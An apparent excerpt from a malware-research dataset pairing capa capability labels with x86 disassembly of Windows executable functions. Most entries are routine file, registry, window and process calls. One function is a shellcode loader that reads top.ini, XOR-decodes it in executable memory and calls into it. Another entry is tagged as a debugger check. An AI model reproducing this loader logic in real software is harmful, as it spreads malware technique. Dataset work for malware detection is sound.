joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b2294
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4b22ff
cmp byte [ebx + 0xd3], 0
jne 0x4b22ff
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406f78

Function at 0x4b3b34
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4b3ba2
mov eax, esi
call fcn.0048c19c
test al, al
je 0x4b3ba2
mov eax, dword [ebx + 0x84]
call fcn.0048bdf0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4b3ba2
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4b3b96
push 0
mov eax, dword [ebx + 0x84]
call fcn.0048bdf0
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00482dc4
jmp 0x4b3ba2
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004b396c
pop esi
pop ebx
ret

Function at 0x4b5ce4
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x10], ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0xc]
mov edx, dword [0x40cc08]
call fcn.00407c40
xor eax, eax
push ebp
push 0x4b5e2e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4e6fd8], 0
jne 0x4b5d38
mov ecx, dword [0x4e8794]
mov dl, 1
mov eax, dword [0x40dbe4]
call fcn.00417c20
call fcn.00405e14
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x10
call fcn.00404bbc
mov eax, ebx
call fcn.00406dc4
mov dword [ebp - 0x20], eax
push esi
mov esi, 0x4b5e3c
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x34]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
call fcn.00409cb0
xor eax, eax
mov dword [ebp - 4], eax
mov eax, ebx
test eax, eax
je 0x4b5d7f
sub eax, 4
mov eax, dword [eax]
shr eax, 1
test eax, eax
jle 0x4b5dd4
mov dword [ebp - 0x14], 0x20
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x54]
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x4b5dcd
lea eax, [ebp - 0x58]
mov edx, ebx
call fcn.004071c8
mov eax, dword [ebp - 0x58]
push eax
lea eax, [ebp - 0x5c]
lea edx, [ebp - 0x54]
mov ecx, 0x10
call fcn.00407160
mov eax, dword [ebp - 0x5c]
pop edx
call fcn.00411c08
test eax, eax
jne 0x4b5dcd
mov ebx, 0x15
jmp 0x4b5dd9
mov ebx, 0x10
jmp 0x4b5dd9
mov ebx, 0x15
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x24]
push eax
push ebx
push 0
push esi
call dword [0x4e6fd8]
call fcn.004b5b50
mov eax, dword [ebp - 4]
call fcn.004b5b50
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00409cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5e35
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00406f70
lea eax, [ebp - 0xc]
mov edx, dword [0x40cc08]
call fcn.00407d18
ret
Function at 0x4d0db0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d0f05
push dword fs:[eax]
mov dword fs:[eax], esp
mov ax, word [ebp + 8]
push eax
lea eax, [ebp - 0x2e]
push eax
lea eax, [ebp - 0x3e]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004d0c84
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
call fcn.0040867c
add eax, 0x28
push eax
lea eax, [ebp - 0x14]
mov ecx, 1
mov edx, dword [0x40d9e4]
call fcn.00408844
add esp, 4
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x2e]
mov ecx, 0x1c
call fcn.0040441c
mov dword [ebp - 0x18], 0x1c
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
lea edx, [eax + edx]
lea eax, [ebp - 0x3e]
mov ecx, 0x1c
call fcn.0040441c
add dword [ebp - 0x18], 0x1c
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
call fcn.0040867c
mov dword [ebp - 0x1c], eax
mov eax, dword [0x4e8cf8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
call fcn.004be1b4
add dword [ebp - 0x18], 4
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
add eax, edx
xor ecx, ecx
mov edx, 3
call fcn.00404bbc
add dword [ebp - 0x18], 3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov byte [eax + edx], 0x3a
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
call fcn.0040867c
push eax
lea ecx, [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
xor edx, edx
call fcn.004be090
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x98]
mov word [ebp - 0x1e], ax
mov ax, word [ebp - 0x1e]
call fcn.004be078
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
call fcn.004be18c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d0f0c
lea eax, [ebp - 0x14]
mov edx, dword [0x40d9e4]
call fcn.00408850
ret

Function at 0x4d4844
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4d48d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, 0x104
call fcn.004072dc
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.00407004
push eax
push 0x104
call sub.kernel32.dll_GetTempPathW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4d48b0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.004072dc
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.004bf660
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.00406f78
jmp 0x4d48ba
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00406f78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d48d7
lea eax, [ebp - 0x10]
call fcn.00406f68
ret
Function at 0x4d9a88
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push esi
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4d9ce0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3ac]
mov edx, dword [eax]
call dword [edx + 0x5c]
test al, al
je 0x4d9cbd
call fcn.00415474
add esp, 0xfffffff8
fstp qword [esp]
wait
push 0x4d9cf8
mov eax, dword [0x4ee3c0]
push eax
push 0
xor ecx, ecx
mov edx, 0x4d9d10
mov eax, 0x4d9d2c
call fcn.004d8ea8
call fcn.00415474
fstp qword [ebp - 0x10]
wait
push dword [ebp - 0xc]
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, 0x4d9d48
call fcn.00416134
push dword [0x4ee3bc]
push 0x4d9d80
push dword [ebp - 0x14]
mov eax, dword [ebp - 4]
add eax, 0x3c4
mov edx, 3
call fcn.00407518
mov eax, dword [ebp - 4]
add eax, 0x3d4
mov ecx, 0x4d9d98
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x3c4]
call fcn.00407434
mov eax, dword [ebp - 4]
add eax, 0x3d8
mov ecx, 0x4d9dbc
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x3c4]
call fcn.00407434
mov eax, dword [ebp - 4]
add eax, 0x3cc
mov ecx, 0x4d9ddc
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x3c4]
call fcn.00407434
mov eax, dword [ebp - 4]
add eax, 0x3c8
mov ecx, 0x4d9e04
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x3c4]
call fcn.00407434
mov eax, dword [ebp - 4]
add eax, 0x3c4
mov edx, 0x4d9e2c
call fcn.00407374
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3a4]
mov si, 0xffec
call fcn.004055e0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x39c]
mov si, 0xffec
call fcn.004055e0
xor edx, edx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3ac]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov dl, 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3b0]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, dword [0x4e8b9c]
mov eax, dword [eax]
cmp byte [eax + 0x5b], 0
je 0x4d9c5f
push 1
mov eax, dword [0x4ee3bc]
call fcn.00407004
push eax
push 0x4d9e58
mov eax, dword [ebp - 4]
push dword [eax + 0x3d4]
push 0x4d9f20
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00407518
mov eax, dword [ebp - 0x1c]
call fcn.00407004
push eax
lea eax, [ebp - 0x20]
mov ecx, 0x4d9f30
mov edx, dword [0x4ee3b8]
call fcn.00407434
mov eax, dword [ebp - 0x20]
call fcn.00407004
push eax
push 0x4d9f40
push 0
call sub.shell32.dll_ShellExecuteW
jmp 0x4d9cbd
push 0
mov eax, dword [0x4ee3bc]
call fcn.00407004
push eax
push 0x4d9e58
mov eax, dword [ebp - 4]
push dword [eax + 0x3d4]
push 0x4d9f20
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00407518
mov eax, dword [ebp - 0x24]
call fcn.00407004
push eax
lea eax, [ebp - 0x28]
mov ecx, 0x4d9f30
mov edx, dword [0x4ee3b8]
call fcn.00407434
mov eax, dword [ebp - 0x28]
call fcn.00407004
push eax
push 0x4d9f40
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d9ce7
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.00406f70
lea eax, [ebp - 0x14]
call fcn.00406f68
ret
Function at 0x401215
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
mov esi, dword [sym.imp.USER32.dll_LoadIconA]
push edi
push 0x7f00
xor edi, edi
push edi
mov dword [ebp - 0x24], str.construct
mov dword [ebp - 0x44], 0x401000
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x4c], 0x30
call esi
push 0x7f00
push edi
mov dword [ebp - 0x34], eax
call esi
push 0x7f00
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
call esi
push edi
mov dword [0x4030f0], eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
je 0x401327
push 1
push dword [0x4030f0]
call dword [sym.imp.USER32.dll_LoadBitmapA]
push edi
push edi
call esi
push eax
push edi
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.displayed
push str.construct
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push eax
mov dword [0x4030f8], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x401327
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
push 0
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x40130a
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10
Function at 0x402a7a
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x4237d0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402b0e
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402acb
cmp dword [ebp + 0x10], ebx
jne 0x402b02
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a7a
test eax, eax
jne 0x402add
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ab2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004061fc
cmp eax, ebx
je 0x402b15
push ebx
push dword [0x4237d0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402b0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x4237d0], ebx
jne 0x402b0b
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402b0b
jmp 0x402b0e
Function at 0x402f5c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x402f87
mov ecx, dword [0x423778]
push esi
add eax, ecx
push esi
push eax
mov dword [0x4168dc], eax
push dword [0x40901c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403064
cmp eax, esi
jl 0x40305e
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40901c]
call fcn.00405b4e
test eax, eax
je 0x40304e
push dword [ebp + 8]
add dword [0x4168dc], 4
call fcn.00403064
mov ebx, eax
cmp ebx, esi
jl 0x40305c
cmp dword [ebp + 0x10], esi
jne 0x40302a
cmp dword [ebp + 8], esi
jle 0x40305c
mov esi, 0x4128d8
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x402fec
mov eax, 0x4000
push eax
push esi
push dword [0x40901c]
mov dword [ebp - 4], eax
call fcn.00405b4e
test eax, eax
je 0x40304e
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405b7d
test eax, eax
je 0x403026
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x4168dc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x402fdb
jmp 0x40305c
push 0xfffffffffffffffe
jmp 0x403050
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403035
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40901c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403053
push 0xfffffffffffffffd
pop eax
jmp 0x40305e
mov ebx, dword [ebp - 4]
add dword [0x4168dc], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x405542
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x407374
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x407364
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x405593
xor eax, eax
jmp 0x4055ba
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x4055ba
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
jne 0x40558f
call esi
pop esi
leave
ret 4

Function at 0x4055f4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x421538], 0x44
push eax
xor eax, eax
push 0x421538
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405633
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4056bd
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405ab1
mov edi, eax
cmp edi, 0xffffffff
je 0x4056fe
test byte [esp + 0x10], 1
push esi
je 0x4056e0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4056e6
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4056ef
xor eax, eax
inc eax
jmp 0x405700
test byte [esp + 0x10], 4
jne 0x4056fe
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x405705
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.004059c3
test bl, 8
mov dword [ebp - 0xc], eax
je 0x405744
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4237a8], eax
jmp 0x4058ce
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x40575e
test eax, eax
je 0x40587c
test bl, 2
je 0x40587c
mov esi, 0x420d38
push edi
push esi
call fcn.00405e63
cmp dword [ebp + 8], 0
je 0x40577d
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405783
push edi
call fcn.0040591c
cmp byte [edi], 0
jne 0x405791
cmp byte [0x420d38], 0x5c
jne 0x40579c
push 0x409014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405872
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405900
cmp byte [eax], 0
je 0x4057e2
cmp byte [ebp - 0x1c], 0
je 0x4057e2
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x4057f8
mov al, byte [esi + 1]
test al, al
je 0x405851
cmp al, 0x2e
jne 0x4057f8
cmp byte [esi + 2], 0
je 0x405851
push esi
push ebx
call fcn.00405e63
test byte [ebp - 0x14c], 0x10
je 0x40581d
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405851
push dword [ebp + 0xc]
push edi
call fcn.00405705
jmp 0x405851
push dword [ebp - 4]
push edi
call fcn.004056bd
test eax, eax
jne 0x405849
cmp dword [ebp - 4], eax
je 0x405841
push edi
push 0xfffffffffffffff1
call fcn.0040507c
push 0
push edi
call fcn.00405d1e
jmp 0x405851
inc dword [0x4237a8]
jmp 0x405851
push edi
push 0xfffffffffffffff2
call fcn.0040507c
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4057c0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x40587c
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x4058ce
cmp dword [ebp - 0xc], esi
jne 0x405890
inc dword [0x4237a8]
jmp 0x4058ce
push edi
call fcn.00406167
test eax, eax
je 0x4058ce
push edi
call fcn.004058d5
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.004056bd
test eax, eax
jne 0x4058c6
cmp dword [ebp - 4], esi
je 0x405888
push edi
push 0xfffffffffffffff1
call fcn.0040507c
push esi
push edi
call fcn.00405d1e
jmp 0x4058ce
push edi
push 0xffffffffffffffe5
call fcn.0040507c
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4059c3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421138
push esi
call fcn.00405e63
push esi
call fcn.0040596e
mov edi, eax
test edi, edi
jne 0x4059e4
xor eax, eax
jmp 0x405a36
push edi
call fcn.004060ce
test byte [0x423738], 0x80
je 0x4059fd
mov al, byte [edi]
test al, al
je 0x4059e0
cmp al, 0x5c
je 0x4059e0
sub edi, esi
jmp 0x405a15
call fcn.00406167
test eax, eax
je 0x405a0f
test byte [eax], 0x10
je 0x4059e0
push esi
call fcn.0040591c
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405a01
call fcn.004058d5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ab1
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405ad0
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x405ad6
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405b05
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x4093c4]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405b4a
test edi, edi
jne 0x405b10
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405b44